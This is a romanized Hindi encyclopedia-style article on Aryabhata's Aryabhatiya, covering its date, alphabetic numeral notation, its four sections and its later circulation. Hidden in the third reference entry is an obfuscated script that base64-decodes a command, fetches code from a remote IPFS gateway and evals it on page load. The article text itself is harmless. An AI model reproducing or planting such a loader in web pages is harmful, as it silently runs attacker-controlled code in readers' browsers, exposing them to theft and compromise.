आर्यभटीय
aryabhatiy
| |
| lekhak | aryabhat |
| mool shirshak | aryabhatiy |
| desh | bharat |
| bhasha | sanskrit |
| vishay | ganit tatha khagolashastr |
| bhag | aryabhatiy mean kul 108 chhand hai, sath hi parichayatmak 13 atirikt haian. yah char padoan athava adhyayoan mean vibhajit hai: gitikapad, ganitapad, kalakriyapad, golapad. |
| rachanakal | 499 ee. |
| vishesh | isaki rachanapaddhati bahut hi vaijnanik aur bhasha bahut hi sankshipt tatha manji huee hai. |
aryabhatiy (aangrezi: Aryabhatiya) namak granth ki rachana mahan ganitajn aryabhat ne ki thi. yah sanskrit bhasha mean arya chhand mean kavyaroop mean rachit ganit tatha khagolashastr ka granth hai. isaki rachanapaddhati bahut hi vaijnanik aur bhasha bahut hi sankshipt tatha manji huee hai. isamean char adhyayoan mean 121 shlok haian. aryabhatiy, dasagitika pad se arambh hoti hai.
rachana kal
aryabhat ne apane aryabhatiy granth ki rachana 499 ee. mean ki. khyughri 43,20,000 mean khh 2 ke lie likha gaya hai aur yh 30 ke lie. donoan akshar milakar likhe ge haian aur unamean u ki matra lagi hai, jo 10,000 ke saman hai; isalie khyu ka arth hua 3,20,000; ghri ke ghh ka arth hai 4 aur rri ka 10,00,000, isalie ghri ka arth hua 40,00,000. is tarah khyughri ka uparyukt man hua. sankhya likhane ki is riti mean sabase b da dosh yah hai ki yadi aksharoan mean tho da sa bhi her pher ho jay to b di bhari bhool ho sakati hai. doosara dosh yah hai ki lh mean rri ki matra lagaee jay to isaka roop vahi hota hai jo lri svar ka, parantu donoan ke arthoan mean b da aantar p data hai. in doshoan ke hote hue bhi is pranali ke lie aryabhat ki pratibha ki prashansa karani hi p dati hai. isamean unhoanne tho de se shlokoan mean bahut si batean likh dali haian; sachamuch, gagar mean sagar bhar diya hai. aryabhatiy ke pratham shlok mean brahm aur parabrahm ki vandana hai evan doosare mean sankhyaoan ko aksharoan se soochit karane ka dhang. in do shlokoan mean koee kramasankhya nahian hai, kyoanki ye prastavana ke roop mean haian. isake bad ke shlok ki kramasankhya 1 hai jisamean soory, chandrama, prithvi, shani, guru, mangal, shukr aur budh ke mahayugiy bhaganoan ki sankhyaean bataee gee haian. yahaan ek bat dhyan dene yogy hai ki aryabhat ne ek mahayug mean prithvi ke ghoornan ki sankhya bhi di hai, kyoanki unhoanne prithvi ka dainik ghoornan mana hai. is bat ke lie paravarti achary brahmagupt ne inaki nianda ki hai. agale shlok mean grahoan ke uchch aur pat ke mahayugiy bhaganoan ki sankhya bataee gee hai. tisare shlok mean bataya gaya hai ki brahma ke ek din (arthat ek kalp) mean kitane manvantar aur yug hote haian aur vartaman kalp ke aranbh se lekar mahabharat yuddh ki samaptivale din tak kitane yug aur yugapad bit chuke the. age ke sat shlokoan mean rashi, aansh, kala adi ka sanbandh, akashakaksha ka vistar, prithvi ke vyas tatha soory, chandrama aur grahoan ke bianboan ke vyas ke pariman, grahoan ki kraanti aur vikshep, unake patoan aur mandochchoan ke sthan, unaki mandaparidhiyoan aur shighraparidhiyoan ke pariman tatha 3 aansh 45 kalaoan ke aantar par jyakhandoan ke manoan ki sarani hai. aantim shlok mean pahale kahi huee batoan ke janane ka phal bataya gaya hai. is prakar prakat hai ki aryabhat ne apani navin sankhya-lekhan-paddhati se jyotish aur trikonamiti ki kitani hi batean 13 shlokoan mean bhar di haian. is chhote-se granth mean unhoanne ganit aur jyotish ki pramukh batean rakhian. is granth mean ham pahali bar dekhate haian ki bharatiy vijnan ne dharm se apane ko svatantr kar liya hai. aryabhat ne yoonaniyoan ka anukaran karate hue, varnamala ke adhar par ek nee aksharaank-paddhati ko janm diya. unaki manyata thi ki prithvi sthir nahian hai, balki yah apane aksh par ghoomati hai. kiantu bad ke bharatiy jyotishiyoan ne unake is siddhaant ki upeksha ki. aryabhat ne yah bhi kaha tha ki soory grahan aur chandr grahan kisi rahu-ketu (rakshasoan) ke karan nahian, balki chandr aur prithvi ki chhayaoan ke karan ghatit hote haian. trikonamiti mean aj bhi aryabhat ki mool vidhiyoan ka istemal hoti haian.[1]
'aryabhatiy' nam
aryabhatiy unake dvara kiye ge karyoan ka pratyaksh vivaran pradan karata hai. aisa mana jata hai ki aryabhat ne svayan ise yah nam nahian diya hoga balki bad ke tippanikaroan ne aryabhatiy nam ka prayog kiya hoga. isaka ullekh bhi aryabhat ke shishy bhaskar pratham ne apane lekhoan mean kiya hai. is granth ko kabhi-kabhi ary-shat-asht (arthat aryabhatt ke 108 – jo ki unake path mean chhandoan ki sankhya hai) ke nam se bhi jana jata hai. aryabhatiy mean vargamool, ghanamool, samantar shreni tatha vibhinn prakar ke samikaranoan ka varnan hai. vastav mean yah granth ganit aur khagol vijnan ka ek sangrah hai. aryabhatiy ke ganitiy bhag mean aankaganit, bijaganit, saral trikonamiti aur goliy trikonamiti shamil haian. isamean satat bhinn (kantinyood frekshans), dvighat samikaran (kvadretik ikveshans), ghat shrriankhala ke yog (sams aauph pavar siriz) aur jyaoan ki ek talika (Table of Sines) shamil haian. aryabhatiy mean kul 108 chhand hai, sath hi parichayatmak 13 atirikt haian. yah char padoan athava adhyayoan mean vibhajit hai: gitikapad, ganitapad, kalakriyapad, golapad.[2]
aryabhatiy ke khand
aryabhatiy prachin bharat ki ek mahathvapoorn sanrakshit kriti hai. aryabhat ne ise padyabaddh sanshkrit ke shhlokoan ke roop mean likha hai. sanshkrit bhasha mean rachit is pushtak mean ganit evan khagol vijnan se samhbandhit krantikari sootr diye. pushtak mean kul 121 shhlok ya bandh haian. inako char pad (khanhdoan) mean baanta gaya hai. in khanhdoan ke nam haian: gitikapad, ganitapad, kalakriyapad evan golapad.
1. gitikapad
aryabhatiy ke charoan khandoan mean yah sabase chhota bhag hai. isamean kul 13 shhlok haian. is khanhd ka pahala shhlok mangalacharan hai. yah (tatha is khanhd ke 9 anhy shhlok) gitika chhand mean hai. isilie is khanhd ko gitikapad kaha gaya hai. is khanhd mean jhyotish ke mahathvapoorn siddhaantoan ki janakari di gayi hai. is khanhd mean sanskrit aksharoan ke dvara sankhyaean likhane ki ek ‘aksharaank paddhati’ ke bare mean bhi janakari di gayi hai.
- aksharaank paddhati aksharoan ke dvara b di sankhhyaoan ko likhane ki ek aasan takanik hai. is paddhati mean aryabhat ne 'a' se lekar 'o' tak ke aksharoan ko 1 se lekar 1,00,00,00,00,00,00,00 tak shatagunothtar man, k se m tak ke sabhi aksharoan ko 1 se lekar 25 sankhhyaoan ke man tatha y se lekar h tak ke vhyanjanoan ko 30, 40, 50 ke kram mean 100 tak ke man diye. is prakar unhhoanne chhote shabhdoan ke dvara b di sankhhyaoan ko likhane ka ek asan tarika vikasit kiya.
2. ganitapad
is khanhd mean ganit ki charcha ki gayi hai. isamean kul 33 shhlok haian. jinamean aryabhat ne aankaganit, bijaganit aur rekhaganit sanbandhi kuchh sootroan ka samavesh kiya hai. pahale shlok mean apana nam bataya hai aur likha hai ki jis granth par unaka granth adharit hai vah (guptasamrajy ki rajadhani) kusumapur mean many tha. doosare shlok mean sankhya likhane ki dashamalav paddhati ki ikaiyoan ke nam haian. isake age ke shlokoan mean vargakshetr, ghan, vargamool, ghanamool, tribhuj ka kshetraphal, tribhujakar shanku ka ghanaphal, vritt ka kshetraphal, gole ka ghanaphal, samalanb chaturbhuj kshetr ke karnoan ke sanpat se samaantar bhujaoan ki doori aur kshetraphal tatha sab prakar ke kshetroan ki madhyam lanbaee aur chau daee janakar kshetraphal batane ke sadharan niyam die ge haian. ek jagah bataya gaya hai ki paridhi ke chhathe bhag ko jya usaki trijya ke saman hoti hai. shlok mean bataya gaya hai ki yadi vritt ka vyas 20,000 ho to usaki paridhi 62,832 hoti hai. isase paridhi aur vyas ka sanbandh chauthe dashamalav sthan tak shuddh a jata hai. do shlokoan mean jyakhandoan ke janane ki vidhi bataee gee hai, jisase jnat hota hai ki jyakhandoan ki sarani (tebul aauv sainadifareansez) aryabhat ne kaise banaee thi. age vritt, tribhuj aur chaturbhuj khianchane ki riti, samatal dharatal ke parakhane ki riti, oorghvadhar ke parakhane ki rit, shanku aur chhaya se chhayakarn janane ki riti, kisi ooanche sthan par rakhe hue dipak ke prakash ke karan bani huee shaku ki chhaya ki lanbaee janane ki riti, ek hi rekha par sthit dipak aur do shankuoan ke sanbandh ke prashn ki ganana karane ki riti, samakon tribhuj ke karn aur any do bhujaoan ke vargoan ka sanbandh (jise paithagoras ka niyam kahate haian, parantu jo shulvasootr mean paithagoras se bahut pahale likha gaya tha), vritt ki jiva aur sharoan ka sanbandh, do shlokoan mean shreni ganit ke kee niyam, ek shlok mean ek-ek badhati huee sankhyaoan ke vargoan aur ghanoan ka yogaphal janane ka niyam, (k+kh)2-(k2akh2)=2kakh, do rashiyoan ka gunanaphal aur aantar janakar rashiyoan ko alag-alag karane ki riti, byaj ki dar janane ka ek niyam jo vargasamikaran ka udaharan hai, trairashik ka niyam, bhinnoan ko ekahar karane ki riti, bijaganit ke saral samikaran aur ek vishesh prakar ke yugapath samikaranoan par adharit prashnoan ko hal karane ke niyam, do grahoan ka yutikal janane ka niyam aur kuttak niyam (solyooshan aauv inaditarminet ikveshan aauv d farst digari) batae ge haian. jitani batean taiantis shlokoan mean bataee gee haian unakoan yadi ajakal ki paripati ke anusar vistarapoorvak likha jae to ek b di bhari pustak ban sakati hai.
3. kalakriyapad
kalakriyapad ka arth hai kal ganana. is khanhd mean 25 shhlok haian. yah khanhd khagol vijnan par kendrit hai. isamean kal evan vritt ka vibhajan, saur varsh, chandr mas, nakshatr divas, aantarveshi mas, grahiy pranaliyaan evan gatiyoan ka varnan hai. yah kalavibhag aur kal ke adhar par ki gee jyotish sanbandhi ganana se sanbandh rakhata hai. pahale do shlokoan mean kal aur kon ki ikaiyoan ka sanbandh bataya gaya hai. age ke chhah shlokoan mean yog, vyatipat, keandrabhagan aur barhaspaty varshoan ki paribhasha di gee hai tatha anek prakar ke masoan, varshoan aur yugoan ka sanbandh bataya gaya hai. navean shlok mean bataya gaya hai ki yug ka prathamardh utsarpini aur uttarardh avasarpini kal hai aur inaka vichar chandrochch se kiya jata hai. parantu isaka arth samajh mean nahi ata. kisi tikakar ne isaki santoshajanak vyakhya nahian ki hai. 10vean shlok ki charcha pahale hi a chuki hai, jisamean aryabhat ne apane janm ka samay bataya hai. isake age bataya hai ki chaitr shukl pratipada se yug, varsh, mas aur divas ki ganana aranbh hoti hai. age ke 20 shlokoan mean grahoan ki madhyam aur spasht gati sanbandhi niyam haian.
4. golapad
yah aryabhatiy ka sabase vrihad, aantim evan mahathvapoorn khanhd hai. is khanhd mean kul 50 shhlok haian. is khanhd ke anhtargat ek khagoliy gole mean grahiy gatiyoan ke niroopan ki vidhi samajhaee gayi hai. aryabhat ki khagol vijnan samhbandhi sabhi pramukh dharanaoan ka varnan bhi isi khanhd mean milata hai. pahale shlok se prakat hota hai ki kraantivritt ke jis biandu ko aryabhat ne meshadi mana hai vah vasant-sanpat-biandu tha, kyoanki vah kahate haian, mesh ke adi se kanya ke aant tak apamandal (kraantivritt) uttar ki or hata rahata hai aur tula ke adi se min ke aant tak dakshin ki or. age ke do shlokoan mean bataya gaya he ki grahoan ke pat aur prithvi ki chhaya ka bhraman kraantivritt par hota hai. chauthe shlok mean bataya hai ki soory se kitane aantar par chandrama, mangal, budh adi drishy hote haian. paanchavaan shlok batata hai ki prithvi, grahoan aur nakshatroan ka adha gola apani hi chhaya se prakashit hai aur adha soory ke sanmukh hone se prakashit hai. nakshatroan ke sanbandh mean yah bat thik nahian hai. shlok chhah sat mean prithvi ki sthiti, banavat aur akar ka nirdesh kiya gaya hai. athavean shlok mean yah vichitr bat bataee gee hai ki brahma ke din mean prithvi ki trijya ek yojan badh jati hai aur brahma ki ratri mean ek yojan ghat jati hai. shlok nau mean bataya gaya hai ki jaise chalati huee nav par baitha hua manushy kinare ke sthir pe doan ko viparit disha mean chalata hua dekhata hai vaise hi lanka (prithvi ki vishuvath dekha par ek kalpit sthan) se sthir tare pashchim ki or ghoomate hue dikhaee p date haian. parantu 10vean shlok mean bataya gaya hai ki aisa pratit hota hai, mano uday aur ast karane ke bahane grahayukt sanpoorn nakshatrachakr, pravah vayu se prerit hokar, pashchim ki or chal raha ho. shlok 11 mean sumeru parvat (uttari dhruv par sthit parvat) ka akar aur shlok 12 mean sumeru aur b davamukh (dakshin dhruv) ki sthiti bataee gee hai. shlok 13 mean vishuvat rekha par 90-90 aansh ki doori par sthit char nagariyoan ka varnan hai. shlok 14 mean lanka se ujjain ka aantar bataya gaya hai. shlok 15 mean bataya gaya hai ki bhoogol ki motaee ke karan khagol adhe bhag se kitana kam dikhaee p data hai. 16vean shlok mean bataya gaya hai ki devataoan aur asuroan ko khagol kaise ghoomata hua dikhaee p data hai. shlok 17 mean devataoan, asuroan, pitaroan aur manushyoan ke din rat ka pariman hai. shlok 18 se 23 tak khagol ka varnan hai. shlok 24-33 mean triprashnadhikar ke pradhan sootroan ka kathan hai, jinase lagn, kal adi jane jate haian. shlok 34 mean lanban, 35 mean akshanadrikkarm aur 36 mean ayanadrikkarm ka varnan hai. shlok 37 se 47 tak soory aur chandrama ke grahanoan ki ganana karane ki riti hai. shlok 48 mean bataya gaya hai ki prithvi aur soory ke yog se soory ke, soory aur chandrama ke yog se chandrama tatha grahoan ke yog se sab grahoan ke moolaank jane ge haian. shlok 49 aur 50 mean aryabhatiy ki prashansa ki gee hai.
prachar
aryabhatiy ka prachar dakshin bharat mean vishesh roop se hua. is granth ka pathan pathan 16vian 17vian shatabdi tak hota raha, jo is par likhi gee tikaoan se spasht hai. dakshin bharat mean isi ke adhar par bane hue panchaang aj bhi vaishnav dharm valoan ko many hote haian. khed hai, ki hiandi mean aryabhatiy ki koee achchhi tika nahian hai. aangreji mean isake do anuvad haian, ek shri prabodhachandr senagupt ka aur doosara shri dablyoo.ee. klark ka. pahala 1927 ee. mean kalakatte aur doosara 1930 ee. mean shikagoan se prakashit hua tha.
- aryabhat ke doosare granth ka prachar uttar bharat mean vishesh roop se hua, jo is bat se spasht hai ki aryabhat ke tivr alochak brahmagupt ko vriddhavastha mean apane granth khandakhadyak mean aryabhat ke granth ka anukaran karana p da. parantu ab khandakhadyak ke vyapak prachar ke samane aryabhat ke granth ka pathan pathan kam ho gaya aur dhire-dhire lupt ho gaya.[3]
- aryabhat jor dekar kahate haian ki prithvi brahmand ka keandr hai aur apane aksh par ghoornan karati hai. vastutah aryabhat pahale bharatiy khagol vijnani the jinhoanne sthir taroan ki dainik abhasi gati ki vyakhya karane ke lie prithvi ki ghoorni gati ka vichar samane rakha. parantu unake is vichar ko n to unake samakalinoan ne manyata pradan ki n hi unake bad ke khagol vijnaniyoan ne. yah anapekshit bhi nahian tha, kyoanki un dinoan am manyata yah thi ki prithvi brahmand ke keandr mean hai aur yah sthir bhi rahati hai.[4]
tika tippani aur sandarbh
- ↑ pustak- bharat: itihas, sanskriti aur vijnan |lekhak- gunakar mule |prakashak- rajakamal prakashan, nee dilli | prishth sankhya- 158
- ↑ aryabhatiy (hiandi) its hindi. abhigaman tithi: 18 march, 2018.
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 440-42 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ aryabhatiy: duniya ko ganit evan khagol vijnan ka path padhane vali mahan kriti (hiandi) saaneetiphik varld. abhigaman tithi: 18 march, 2018.